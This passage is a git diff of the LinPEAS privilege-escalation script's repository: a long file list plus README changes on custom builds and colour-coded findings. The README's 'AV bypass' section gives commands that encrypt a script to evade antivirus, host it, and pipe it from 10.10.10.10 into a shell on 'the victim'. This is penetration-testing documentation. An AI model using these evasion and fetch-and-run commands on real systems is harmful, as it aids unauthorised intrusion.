.../variables/commonrootdirsMacG.sh | 16 + .../linpeas_parts/variables/containercapsB.sh | 16 + .../linpeas_parts/variables/cronjobsB.sh | 16 + .../linpeas_parts/variables/cronjobsG.sh | 16 + .../linpeas_parts/variables/dbuslistG.sh | 16 + .../linpeas_parts/variables/filename.sh | 16 + .../linpeas_parts/variables/groupsB.sh | 16 + .../linpeas_parts/variables/groupsVB.sh | 16 + .../builder/linpeas_parts/variables/idB.sh | 16 + .../builder/linpeas_parts/variables/kernel.sh | 35 + .../linpeas_parts/variables/knw_emails.sh | 16 + .../linpeas_parts/variables/knw_grps.sh | 16 + .../linpeas_parts/variables/knw_usrs.sh | 16 + .../linpeas_parts/variables/ldsoconfdG.sh | 16 + .../linpeas_parts/variables/mail_apps.sh | 16 + .../builder/linpeas_parts/variables/mountG.sh | 16 + .../linpeas_parts/variables/mounted.sh | 20 + .../linpeas_parts/variables/mountpermsB.sh | 16 + .../linpeas_parts/variables/mountpermsG.sh | 16 + .../linpeas_parts/variables/mygroups.sh | 16 + .../linpeas_parts/variables/notBackup.sh | 16 + .../linpeas_parts/variables/notExtensions.sh | 16 + .../linpeas_parts/variables/notmounted.sh | 16 + .../linpeas_parts/variables/processesB.sh | 16 + .../linpeas_parts/variables/processesDump.sh | 16 + .../linpeas_parts/variables/processesVB.sh | 16 + .../linpeas_parts/variables/profiledG.sh | 16 + .../variables/pwd_in_variables.sh | 27 + .../variables/pwd_inside_history.sh | 16 + .../linpeas_parts/variables/rootcommon.sh | 16 + .../linpeas_parts/variables/shscripsG.sh | 16 + .../builder/linpeas_parts/variables/sidB.sh | 69 + .../builder/linpeas_parts/variables/sidG.sh | 20 + .../builder/linpeas_parts/variables/sidVB.sh | 17 + .../builder/linpeas_parts/variables/sudoB.sh | 16 + .../builder/linpeas_parts/variables/sudoG.sh | 16 + .../linpeas_parts/variables/sudoVB1.sh | 17 + .../builder/linpeas_parts/variables/sudovB.sh | 16 + .../linpeas_parts/variables/timersG.sh | 16 + .../linpeas_parts/variables/top2000pwds.sh | 24 + .../linpeas_parts/variables/usrs_sh.sh | 26 + .../builder/linpeas_parts/variables/writeB.sh | 16 + .../linpeas_parts/variables/writeVB.sh | 16 + linPEAS/builder/src/linpeasBaseBuilder.py | 336 ++++- linPEAS/builder/src/linpeasBuilder.py | 129 +- linPEAS/builder/src/linpeasModule.py | 229 ++++ linPEAS/builder/src/yamlGlobals.py | 118 +- .../winPEASexe/winPEAS/Checks/FileAnalysis.cs | 4 +- 281 files changed, 9138 insertions(+), 5090 deletions(-) create mode 100644 linPEAS/builder/README.md create mode 100644 linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh delete mode 100644 linPEAS/builder/linpeas_parts/1_system_information.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/10_Enviroment.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/13_Linux_exploit_suggester.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/14_Linux_exploit_suggester_2.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/15_Protections.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh create mode 100644 linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh delete mode 100644 linPEAS/builder/linpeas_parts/2_container.sh create mode 100644 linPEAS/builder/linpeas_parts/2_container/1_Container_tools.sh create mode 100644 linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh create mode 100644 linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh create mode 100644 linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh create mode 100644 linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh create mode 100644 linPEAS/builder/linpeas_parts/2_container/6_Am_I_contained.sh delete mode 100644 linPEAS/builder/linpeas_parts/3_cloud.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/12_Tencent_Cloud.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/1_Check_if_in_cloud.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/3_AWS_ECS.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/4_AWS_Lambda.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh create mode 100644 linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh delete mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_System_timers.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Timer_files.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Services.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Service_files.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_Socket_files.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Unix_sockets_listening.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_DBus_service_objects_list.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_DBus_config_files.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Systemd_path.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Cron_jobs.sh create mode 100644 linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_Macos_launch_agents_daemons.sh delete mode 100644 linPEAS/builder/linpeas_parts/5_network_information.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh create mode 100644 linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh delete mode 100644 linPEAS/builder/linpeas_parts/6_users_information.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/16_Login_info.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/2_Macos_user_hooks.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/3_Macos_keychains.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/4_Macos_systemkey.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh create mode 100644 linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh delete mode 100644 linPEAS/builder/linpeas_parts/7_software_information.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/2_Compilers.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/3_Macos_writable_installed_apps.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Apache_nginx.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Awsvault.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Cached_AD_hashes.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Containerd.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Docker.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Dovecot.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/FreeIPA.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Gitlab.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Kcpassword.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Leaks_git_repo.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Log4shell.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Logstash.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Mysql.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/PGP_GPG.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/PHP_Sessions.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Pamd.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Postgresql.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Runc.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/SKey.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Splunk.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Ssh.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/Vault_ssh.sh create mode 100644 linPEAS/builder/linpeas_parts/7_software_information/YubiKey.sh delete mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/10_Read_creds_files.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/11_Root_files_home_dir.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/12_Others_files_in_my_dirs.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh create mode 100644 linPEAS/builder/linpeas_parts/8_interesting_perms_files/9_App_armour_profiles.sh delete mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/10_Others_homes.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/11_Mail_apps.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/12_Mails.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/13_Backup_folders.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/14_Backup_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/15_Db_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/16_Macos_downloaded_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/17_Web_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/18_Hidden_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/19_Readable_files_tmp_backups.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/20_Passwords_history_cmd.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/21_Passwords_history_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/22_Passwords_php_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/23_Passwords_files_home.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/24_Passwords_TTY.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/25_IPs_logs.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/26_Mails_addr_inside_logs.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/27_Passwords_in_logs.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/28_Files_with_passwords.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/2_Date_in_firmware.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/3_Executable_files_by_user.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/4_Macos_unsigned_apps.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/5_Unexpected_in_opt.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/6_Unexpected_in_root.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/7_Modified_last_5mins.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh create mode 100644 linPEAS/builder/linpeas_parts/9_interesting_files/9_My_home.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/checkContainerExploits.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/checkCreateReleaseAgent.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/checkDockerRootless.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/checkDockerVersionExploits.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/checkProcSysBreakouts.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_aliyun_ecs.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_aws_codebuild.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_aws_ec2.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_aws_ecs.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_aws_lambda.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_az_app.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_az_vm.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_critial_root_path.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_dns.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_do.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_gcp.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_ibm_vm.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_icmp.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_if_su_brute.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_tcp_443.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_tcp_80.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/check_tencent_cvm.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/containerCheck.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/echo_no.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/echo_not_found.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/enumerateDockerSockets.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/execBin.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/exec_with_jq.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/get_current_user_privot_pid.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/inDockerGroup.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/macosNotSigned.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/print_info.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/print_list.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/print_ps.sh rename linPEAS/builder/linpeas_parts/{10_api_keys_regex.sh => functions/search_for_regex.sh} (82%) create mode 100644 linPEAS/builder/linpeas_parts/functions/su_brute_user_num.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/su_try_pwd.sh create mode 100644 linPEAS/builder/linpeas_parts/functions/warn_exec.sh delete mode 100755 linPEAS/builder/linpeas_parts/linpeas_base.sh create mode 100644 linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh create mode 100644 linPEAS/builder/linpeas_parts/linpeas_base/1_check_network_jobs.sh create mode 100644 linPEAS/builder/linpeas_parts/linpeas_base/2_caching_finds.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/GCP_BAD_SCOPES.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/GCP_GOOD_SCOPES.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS_IGNORE.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/GREP_IGNORE_MOUNTS.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/Groups.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/INT_HIDDEN_FILES.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/LDD.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/MyUID.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/NGINX_KNOWN_MODULES.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/NOUSEPS.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/PASSTRY.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/PATH.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/READELF.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/STRACE.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/STRINGS.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/TIMEOUT.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/TIP_DOCKER_ROOTLESS.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/baduid.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/capsB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/capsVB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/cfuncs.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/commonrootdirsG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/commonrootdirsMacG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/containercapsB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/cronjobsB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/cronjobsG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/dbuslistG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/filename.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/groupsB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/groupsVB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/idB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/kernel.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/knw_emails.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/knw_grps.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/knw_usrs.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/ldsoconfdG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/mail_apps.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/mountG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/mounted.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/mountpermsB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/mountpermsG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/mygroups.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/notBackup.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/notExtensions.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/notmounted.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/processesB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/processesDump.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/processesVB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/profiledG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/pwd_in_variables.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/pwd_inside_history.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/rootcommon.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/shscripsG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sidB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sidG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sidVB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sudoB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sudoG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sudoVB1.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/sudovB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/timersG.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/top2000pwds.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/usrs_sh.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/writeB.sh create mode 100644 linPEAS/builder/linpeas_parts/variables/writeVB.sh create mode 100644 linPEAS/builder/src/linpeasModule.py diff --git a/linPEAS/README.md b/linPEAS/README.md index 7f202a0..43a985d 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -1,6 +1,6 @@ # LinPEAS - Linux Privilege Escalation Awesome Script -![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/linpeas.png) +![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png) **LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)** @@ -12,17 +12,28 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed** +## Build your own linpeas! + +The latest version of linpeas allows you to **select the checks you would like your linpeas to have** and built it only with those checks! + +This allows to create **smaller and faster linpeas scripts** for stealth and speed purposes. + +Check how to **select the checks you want to build [in your own linpeas following this link.](builder)** + +Note that by default, in the releases pages of this repository, you will find a **linpeas with all the checks**. + +## Differences between `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`: + +- **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded. +- **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`. +- **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. + ## Quick Start -Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. +Find the **latest versions of all the scripts and binaries in [the releases page](releases/latest)**. ```bash -# From github +# From public github curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - -# Without curl -python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" - -python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" ``` ```bash @@ -52,6 +63,19 @@ chmod +x linpeas_linux_amd64 ./linpeas_linux_amd64 ``` +## AV bypass +```bash +#open-ssl encryption +openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc +sudo python -m SimpleHTTPServer 80 #Start HTTP server +curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim + +#Base64 encoded +base64 -w0 linpeas.sh > lp.enc +sudo python -m SimpleHTTPServer 80 #Start HTTP server +curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim +``` + ## Firmware Analysis If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options. @@ -68,19 +92,6 @@ bash /linpeas.sh -o software_information,interesting_files,api_keys_regex bash /path/to/linpeas.sh -f /path/to/folder ``` -## AV bypass -```bash -#open-ssl encryption -openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc -sudo python -m SimpleHTTPServer 80 #Start HTTP server -curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim - -#Base64 encoded -base64 -w0 linpeas.sh > lp.enc -sudo python -m SimpleHTTPServer 80 #Start HTTP server -curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim -``` - ## Basic Information The goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS). @@ -149,56 +160,23 @@ With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning. -![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/network.png) +![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png) ## Colors - -
    -Details - LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**. -The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). +- The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). -The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE: -- Possible exploitable kernel versions -- Vulnerable sudo versions -- Identify processes running as root -- Not mounted devices -- Dangerous fstab permissions -- Writable files in interesting directories -- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version) -- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/) -- Check /etc/doas.conf -- 127.0.0.1 in netstat -- Known files that could contain passwords -- Capabilities in interesting binaries -- Interesting capabilities of a binary -- Writable folders and wilcards inside info about cron jobs -- Writables folders in PATH -- Groups that could lead to root -- Files that could contains passwords -- Suspicious cronjobs +- The 